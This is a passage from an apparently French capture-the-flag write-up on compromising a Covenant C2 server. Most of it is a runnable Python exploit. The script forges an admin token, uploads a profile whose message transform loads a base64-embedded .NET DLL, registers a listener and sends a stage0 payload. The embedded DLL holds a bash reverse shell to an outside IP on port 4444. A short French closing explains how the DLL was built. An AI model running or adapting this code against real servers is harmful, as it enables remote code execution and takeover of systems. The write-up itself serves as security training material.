AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
      dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYAUwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFByb2Nlc3MAT2JqZWN0AFN0YXJ0AAAACWIAYQBzAGgAAHstAGMAIAAiAGIAYQBzAGgAIAAtAGMAIAAnAGUAeABlAGMAIABiAGEAcwBoACAALQBpACAAJgA+AC8AZABlAHYALwB0AGMAcAAvADkAMwAuADEAMQA4AC4AMwAyAC4AMQAzADYALwA0ADQANAA0ACAAPAAmADEAJwAiAAEALIje9IRbZ0CeJKhlU+3+hAAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECBgACEkEODgi3elxWGTTgiQUgAQEdDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAPAQAKRXhhbXBsZURMTAAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAxOAAAKQEAJGU1MTgyYmZmLTk1NjItNDBmZi1iODY0LTVhNmIzMGMzYjEzYgAADAEABzEuMC4wLjAAAAAAAAAAAEUvcWMAAAAAAgAAABwBAABEJgAARAgAAFJTRFMY7VaZtasfSbirOhqC+D8SAQAAAEM6XFVzZXJzXEZyYW5ja1xEb2N1bWVudHNcTWFuYWdlZEluamVjdGlvbi1tYXN0ZXJcRXhhbXBsZURMTFxvYmpcRGVidWdcRXhhbXBsZURMTC5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiCcAAAAAAAAAAAAAoicAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQnAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAAsAwAAAAAAAAAAAAAsAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEjAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAaAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAAD4ACwABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABFAHgAYQBtAHAAbABlAEQATABMAAAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAA+AA8AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEUAeABhAG0AcABsAGUARABMAEwALgBkAGwAbAAAAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA4AAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABGAA8AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARQB4AGEAbQBwAGwAZQBEAEwATAAuAGQAbABsAAAAAAA2AAsAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEUAeABhAG0AcABsAGUARABMAEwAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAALQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
      payload = """public static class MessageTransform {
        public static string Transform(byte[] bytes) {
            try {
            string assemblyBase64 = "%s";
            var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
            var assembly = System.Reflection.Assembly.Load(assemblyBytes);
            foreach (var type in assembly.GetTypes()) {
                object instance = System.Activator.CreateInstance(type);
                object[] args = new object[] { new string[] { "" } };
                try {
                type.GetMethod("Main").Invoke(instance, args);
                }
                catch {}
            }
            }
            catch {}
            return System.Convert.ToBase64String(bytes);
        }

        public static byte[] Invert(string str) {
            return System.Convert.FromBase64String(str);
        }
    }""" % dll
      return payload
    def read_listener_type(self,name : str) -> str:
      response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
      listners_types = response1.json()
      for listener_type in listners_types:
        if listener_type['name'].lower() == name.lower():
          return listener_type['id']

    def upload_profile(self) -> int:

        id =random.randint(6000,8000)
        name = randomhex(4)
        data = {
          'httpUrls': [
            '/en-us/index.html',
            '/en-us/docs.html',
            '/en-us/test.html'
          ],
          'httpRequestHeaders': [
            {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
            {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
          ],
          'httpResponseHeaders': [
            {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
          ],
          'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
          'httpGetResponse': 'salut: {DATA}',
          'httpPostResponse': '{DATA}',
          'id': id,
          'name': "%s" % name,
          'description': 'z3ste',
          'type': 'HTTP',
          'messageTransform': self.generate_transform_payload()
        }
        #  response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
        response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
        if response2.status_code != 201:
          print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
          sys.exit(0)
        if response2.json()["description"] == "z3st":
          print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
          sys.exit(0)
        print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
        response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
        return id

    def create_listener(self,id : int) -> None:
        c2_port = random.randint(8000,8250)
        self.c2_port = c2_port
        name = randomhex(4)
        data = {
          'useSSL': False,
          'urls': [
            self.url
          ],
          'id': 0,
          'name': name,
          'bindAddress': self.ip,
          'bindPort': c2_port,
          'connectAddresses': [
            "%s" % self.ip
          ],
          'connectPort': c2_port,
          'profileId': id,
          'listenerTypeId': self.read_listener_type('HTTP'),
          'status': 'Active',
          'Description':"Z3st"
        }
        #response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
        response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
        try:
          if response2.json()["description"] == "Z3st":
            print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
            return response2.json()["name"]
          else:
            print(response2.text)
            print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
            sys.exit(0)
        except TypeError:
            print(response2.text)
            print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
            sys.exit(0)

    def read_grunt_cfg(self,listener_name):
      data = {
        'id': 0,
        'listenerId': self.read_listener_id(listener_name),
        'implantTemplateId': 1,
        'name': 'Binary',
        'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
        'type': 'binary',
        'dotNetVersion': 'Net35',
        'runtimeIdentifier': 'win_x64',
        'validateCert': True,
        'useCertPinning': True,
        'smbPipeName': 'string',
        'delay': 0,
        'jitterPercent': 0,
        'connectAttempts': 0,
        'launcherString': 'GruntHTTP.exe',
        'outputKind': 'consoleApplication',
        'compressStager': False
      }

      # gerenate grunt payload
      response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
      if response2.text != "":
        response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))

      if response2.text != "":
        #print(response2.json())
        code = (response2.json()['stagerCode'])
        #print(code)
        aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
        guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
        print("- AES key:  %s" % aes_key)
        print("- GUID:  %s" % guid_prefix)
        return aes_key,guid_prefix

#
    def generate_stage0(self,aes_key, guid):
        headers = {}
        headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
        headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'

        message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
        
        #ruby aes.rb --key dazdzadaz --data dzaazdaz

        payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
        payload = payload.replace(b'\n',b'')        

  
        time.sleep(5)

        data = {
            'i' :'a19ea23062db990386a3a478cb89d52e',
            'data' : payload.decode('utf-8'),
            'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
        }
        print(data)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.host, self.c2_port))
        REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
        sent = s.send(REQ_TEMPLATE.encode("utf-8"))
        content = s.recv(1024)
        if not b"HTTP/1.1 200 OK" in content:
            print(content)
            print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
            #sys.exit(0)
        s.close()
        post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
        REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.host, self.c2_port))    
        sent = s.send(REQ_TEMPLATE.encode("utf-8"))
        print(s.recv(1024))
        
    
    def read_listener_id(self,name):
      listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
      if listeners.text != "":
        listeners = listeners.json()
        for listener in listeners:
          if listener['name'] == name:
            return listener['id']
      print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
      sys.exit(0)    
   
    def exploit(self) -> None:

      print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
      USER_LIST = self.get_user_list()

      print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))

      self.ADMIN_NAME = "DGHACK_ADMIN"
      self.ADMIN_ID = USER_LIST[1]["id"]
      print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
      self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
      print(" - admin_token=%s" % self.ADMIN_TOKEN)
      time.sleep(2)
      print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
      profil_id = self.upload_profile()
      print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
      listener_name = self.create_listener(profil_id)
      print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
      aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
      print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
      self.generate_stage0(aes_key, guid_prefix + randomhex(5))

a = exploit()
a.exploit()

Il ne nous reste plus qu’à générer une DLL fonctionnelle. Je commence par récupérer la DLL utilisé dans le script ruby, je rajoute mon code de reverse shell bash et je lance, une fois, deux fois, trois fois mais rien n’y fait. Je comprends que c’est un peu plus complexe que ça. En (re)lisant l’article hunting the hunters, je tombe sur un lien vers l’article de Malcom Vetter (ici), puis sur un lien vers son code (ici). Pour plus d’information je vous invite à lire son article.

Je génère la DLL que j’encode en base64 et je la place dans mon script, et normalement on est bon.

Et enfin…

Maintenant que notre script est complet, il suffit de le lancer: